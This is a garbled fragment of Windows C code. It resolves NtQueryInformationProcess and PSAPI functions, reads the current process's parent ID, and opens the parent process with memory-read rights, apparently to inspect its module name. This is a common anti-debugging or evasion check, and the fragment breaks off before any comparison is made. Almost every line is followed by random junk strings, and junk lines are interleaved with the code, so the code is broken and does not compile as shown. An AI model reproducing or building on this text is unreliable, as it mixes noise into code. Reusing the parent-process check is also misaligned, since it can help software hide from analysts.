ULONG InheritedFromUniqueProcessId; 8b,Z)"(U3
} PROCESS_BASIC_INFORMATION; >^9j>< Z
!lEV^SQJs
PROCNTQSIP NtQueryInformationProcess; }.|a0N 5
ZUB]qzmK
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?UflK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <LBCu;
5ip ZdQ^
HANDLE hProcess; Bt:M^b^
PROCESS_BASIC_INFORMATION pbi; rS\mFt X
8sDw:wTC
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X%*BiI
if(NULL == hInst ) return 0; fvTp9T\f3
~rOvVi&4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e'npa*.e
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GPs4:CIgG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rb
b[N#p5
u5qaLHoEP
if (!NtQueryInformationProcess) return 0; su\Lxv
Aj\m57e,6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qx EmuiN
if(!hProcess) return 0; O&.gc p!
tJd/uQJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ri"=)]
x51p'bNy
CloseHandle(hProcess); !_o1;GzK
2V9"{F?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PR7bu%Y*eD
if(hProcess==NULL) return 0; p'/%"
t2.]v><